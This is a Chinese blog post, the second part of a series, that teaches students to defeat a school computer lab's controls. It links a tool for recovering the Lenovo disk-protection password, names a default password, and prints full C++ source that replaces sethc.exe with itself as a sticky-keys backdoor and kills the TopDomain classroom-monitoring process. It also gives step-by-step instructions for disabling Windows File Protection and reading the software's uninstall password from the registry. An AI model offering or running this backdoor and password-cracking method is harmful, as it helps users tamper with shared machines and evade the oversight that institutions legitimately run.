接着 《[原]VC被控制時關閉極域電子教室、破解聯想硬盤保護系統密碼(上)》 的討論。
首先說說怎麼查看密碼,用工具http://l5.yunpan.cn/lk/Q8FBhqALyPZ4W就可以了,網上也有下載的,但是我在學校機房測試的時候發現:“從LenRCClient.exe讀取”這個選項不管用,雖然提示“找到進程,其PID爲XXXX”。無奈,我試了試從硬盤讀取,結果也不成,我只好把最後的希望寄託在“從MBR備份文件中讀取”這一項了。但是MBR文件怎麼弄呢?身邊沒有其他工具,只有一個360系統急救箱,它可幫了我大忙,我用它備份了MBR引導文件,然後點擊“聯想硬盤保護系統密碼破解”軟件的“從MBR備份文件中讀取”的這一項,選擇好我們剛纔備份的MBR引導文件,試試,成功了!這標誌着我們可以不使用清除MBR的方法來進行破解。(注:聯想硬盤保護系統的默認密碼應該是lenovo)
回到如何實現被控制時關閉極域電子教室。前面已經說到了粘滯鍵,我們就用粘滯鍵來進行擺脫控制。處理程序:(完整源碼下載地址:1.360雲盤 2.新浪微盤)
//include.h
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
void OnStart()
{
char szAppName[256]={0};
GetModuleFileName(NULL,szAppName,128);
if( strcmp(szAppName,"C:\\WINDOWS\\system32\\sethc.exe") )
{
CopyFile(szAppName,"C:\\WINDOWS\\system32\\sethc.exe",FALSE);
//CopyFile(szAppName,"C:\\WINDOWS\\system32\\dllcache\\sethc.exe",FALSE);
}
}
//main.cpp
#include "include.h"
int main()
{
OnStart();
HANDLE hToken; //提升進程權限
OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken );
TOKEN_PRIVILEGES tp;
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid );
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof( TOKEN_PRIVILEGES ), NULL, NULL );
PROCESSENTRY32 pd; //進程數據(process data)
pd.dwSize=sizeof(pd); //初始化大小
HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //創建進程快照
BOOL choose=::Process32First(hProcessSnap,&pd); //查找進程
BOOL stdexe=FALSE; //先假設學生機進程不存在
while(choose)
{
if( ! strcmp(pd.szExeFile,"StudentMain.exe") ) //如果尋找到學生機進程
{
stdexe=TRUE; //找到了學生機進程
{
HANDLE std = OpenProcess( PROCESS_ALL_ACCESS , FALSE , pd.th32ProcessID); //獲取進程句柄
if( ::TerminateProcess( std , 0 ) == FALSE ) //結束它
{
//結束進程失敗時進行的處理
}
}
break;
}
choose=::Process32Next(hProcessSnap,&pd);//尋找下個進程,函數返回0,則沒有進程可尋
}
if( stdexe == FALSE )
{
//沒有找到進程時進行的處理
WinExec("C:\\Program Files\\TopDomain\\e-Learning Class\\StudentMain.exe",SW_SHOW); //此處應該替換成你們學校
//極域電子教室的地址
}
return 0;
}
程序運行說明:
1.按Windows(徽標)+ R 組合鍵,彈出運行,輸入gpedit.msc。然後選擇雙擊“計算機配置”—“管理模板”—“系統”—“Windows文件保護”,右鍵“指定Windows 文件保護緩存位置”,點擊“屬性”(windows7下是“編輯”),點擊“已禁用”。把“設置 Windows 文件保護掃描”用同樣的方法設置成“已禁用”。
2.找到HKEY_LOCAL_MACHINE\SOFTWARE\TopDomain\e-learning Class Standard\1.00下的UninstallPasswd鍵,複製其鍵值。
3.右擊右下角的小電腦圖標,右擊,點“設置”,提示輸入密碼,把你看到的輸入進去,點確定,你會發現可以改設置
了。我們要先選擇“組織學生關閉本進程”選項卡中的那一項的對勾去除。
4.運行該軟件。在本文第三自然段的末尾有程序下載地址,那裏面還有源代碼。該源代碼在VC++6.0下編譯通過。不會編程的同學可以直接用Debug/Sethc.exe這個程序。該程序運行時會自動複製自身到C:\WINDOWS\system32\下,程序名是Sethc.exe。並且會自動關閉極域電子教室。
5.運行極域電子教室進行測試(按5下Shift並且把鼠標指針放到小電腦圖標上,看看是否突然消失),如果程序沒有關閉成功,那麼在運行幾次。
其實關閉極域電子教室還有其他好方法,例如向極域電子教室發送WM_QUERYENDSESSION消息,我正在實驗……
如果有什麼問題,可以聯繫我。E-Mail:[email protected]。
《[原]關於VC運行時關閉極域電子教室的改進方法》